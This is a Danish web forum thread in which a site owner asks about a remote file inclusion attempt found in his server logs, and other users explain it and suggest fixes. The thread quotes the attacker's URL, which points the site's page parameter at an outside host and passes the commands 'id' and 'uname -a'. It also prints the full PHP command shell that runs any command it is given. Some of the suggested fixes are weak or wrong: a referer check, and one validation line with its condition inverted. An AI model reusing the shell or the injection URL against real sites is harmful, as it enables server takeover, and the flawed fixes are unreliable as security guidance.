Avatar billede googolplex Novice
02. september 2003 - 11:31 Der er 14 kommentarer og
1 løsning

Inkludering af fremmede sider på mit site

Jeg kan se i min log, at der er nogen, der forsøger at tilgå følgende:

http://www.ladefoged-roenne.dk/index.php?side=http://psychophobia.msn-programs.co.uk/s.txt?&cmd=id;uname+-a

Så vist jeg kan se prøver de at indsætte følgende:

<font color="#808080"><br></font><font color="#008000"><center><b><font face="verdana" size="2">CMD</font></b> <font face="verdana" size="2"> - System CoManD<br><br></font></center></font><font face="Verdana" size="1"><font color="#008000"><br>
<b>#</b> CMD PHP : PsychoPhobia CreW<br>
<b>#</b> Modified by : <b>_dDoS_ , R0NiN , SpyBoy</b></font><br>
<br>
<br>
<hr color="#000000" width=80% height=115px>
<br>
<div align="center">
  <table border="1" cellpadding="0" cellspacing="0" width="633" height="17" bordercolorlight="#000080" bordercolordark="#000080">
    <tr>
      <td width="633" height="17">
<pre><font color="gray" font face="Tahoma" size="2">
<?
  // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
  if (isset($chdir)) @chdir($chdir);
  ob_start();
  system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
?>
</font></pre>
</tr>
  </table>
</div>

<br>
<hr color="#000000" width=80% height=115px>
<p align="left">
<br>
<b> <font face="Verdana" size="1" color="#008000">#PsychoPhobia CreW</font></b> <font face="Verdana" size="1" color="#008000"><br><b>#<a href="mailto:psybr@hacker.am">Contact
      Us</font></a></b><br><font face="Verdana" size="1" color="#008000"><b>#
:D </b>
</font>

Hvad gør det lige ?
Avatar billede erikjacobsen Ekspert
02. september 2003 - 11:48 #1
ingenting hvis du ikke har noget der ligner:

  include($_GET['side'])
Avatar billede erikjacobsen Ekspert
02. september 2003 - 11:52 #2
Ok - du bruger sådan en parameter. Hvordan bruger du den, når du fx har
index.php?side=artikel
Avatar billede jara06 Nybegynder
02. september 2003 - 12:01 #3
Som jeg ser det:
hvis du eksekvere eller includer $_GET['side'], vil den prøve at udskrive det navn/id som din webserver køre som på din unix server, samt udskrive information om kernel version.
svar til det her:

uid=500(jara06) gid=100(users) groups=100(users)
Linux server.krudtting.dk 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586 i586 i386 GNU/Linux

1. http://www.ladefoged-roenne.dk/index.php?side=
2. http://psychophobia.msn-programs.co.uk/s.txt?
3. &cmd=id;uname+-a

1. din side hvor han håber du eksekvere $_GET['side']
2. hans side, som han har lavet der skal udføres,
3. med disse variabler - &cmd bliver til $_GET['cmd'] eller $cmd (hvis du har register_globals off). de sidste to er kommandoer 'id' og 'uname -a'

Altså, en (måske) hacker der prøver at finde info, men måske bare ingenting...

Sry hvis jeg forvirre, men jeg har det ikke helt godt idag. Efterårs sygedom vel :/
Avatar billede googolplex Novice
02. september 2003 - 15:56 #4
Jeg gør følgende, er det ikke sikkert nok ?:

if (isset($_GET['side']) && file_exists($_SERVER['DOCUMENT_ROOT'] . '/sider/' . $_GET['side'] . '.php')) {
    $side = $_GET['side'];
} else {
    $side = 'forside';
}

include($_SERVER['DOCUMENT_ROOT'] . '/sider/' . $side . '.php');
Avatar billede erikjacobsen Ekspert
02. september 2003 - 18:18 #5
Jo, det konkrete eksempel vil så ikke lave ulykker. Du skal nu helst
sørge for at der hverken er "." eller "/" ("\" på Windows) i
parametren fra URL-en.
Avatar billede googolplex Novice
02. september 2003 - 22:02 #6
Hvordan gør jeg det i mit eksempel ?
Avatar billede erikjacobsen Ekspert
02. september 2003 - 22:09 #7
if (ereg('\.|\\|/',$_GET['side']) {
  $side ='forside';
} elseif (....resten
Avatar billede erikjacobsen Ekspert
02. september 2003 - 22:09 #8
if (ereg('\.|\\|/',$_GET['side'])) {
Avatar billede googolplex Novice
02. september 2003 - 22:20 #9
Hvordan sætter jeg det sammen med mit:

if (isset($_GET['side']) && file_exists($_SERVER['DOCUMENT_ROOT'] . '/sider/' . $_GET['side'] . '.php')) {
    $side = $_GET['side'];
} else {
    $side = 'forside';
}

Og HVORFOR skal jeg gøre det ?
Avatar billede jara06 Nybegynder
03. september 2003 - 11:18 #10
du kan også nøjes med at tjekke, at kaldet kommer fra dig selv, dvs din egen server. Sådan gør jeg.

Et eksempel:

if (isset($_SERVER["HTTP_REFERER"]))
{
    if ($_SERVER["HTTP_REFERER"] == $web_root ."submit.php?submit=news")
    {
        echo "News submitted for local site";
    }
}
else
{
    echo "someones trying to abuse this service";
}
Avatar billede jara06 Nybegynder
03. september 2003 - 11:24 #11
På den måde skal du bare være klar over, hvis jeg har et link på mit site til f.eks "http://www.ladefoged-roenne.dk/index.php?side=artikel&artikelID=3" vil jeg ikke komme ind på siden da det script tjekker det.
Det rigtige ville nok være at tjekke side variablen, og evt bruge erikjacobsens løsning (husk at give ham point hvis du bruger den):

if (isset($_GET['side']) && file_exists($_SERVER['DOCUMENT_ROOT'] . '/sider/' . $_GET['side'] . '.php') && (ereg('\.|\\|/',$_GET['side'])))
{
    $side = $_GET['side'];
}
else
{
    $side = 'forside';
}
Avatar billede googolplex Novice
03. september 2003 - 21:58 #12
Ok, tror jeg bruger erikjacobsen's, men HVORFOR er det en god ting at undgå '/' og '.' ?!

Er det desuden ikke hurtigere at bruge strstr() i stedet for ereg() ? Altså:

if (isset($_GET['side']) && file_exists($_SERVER['DOCUMENT_ROOT'] . '/sider/' . $_GET['side'] . '.php') && strstr($_GET['side'], '.') === false && strstr($_GET['side'], '/') === false) {
    $side = $_GET['side'];
} else {
    $side = 'forside';
}
Avatar billede googolplex Novice
08. september 2003 - 23:57 #13
erikjacobsen: Smide du ikke lige et svar, så jeg kan få lukket ?

Forresten, HVORFOR er det en god ting at undgå '/' og '.' ?!
Avatar billede googolplex Novice
11. september 2003 - 23:07 #14
Kom nu ej :)
Avatar billede googolplex Novice
15. september 2003 - 21:49 #15
Nå, men så deler jeg ud til dem der har lagt et svar :P

Takker :)
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester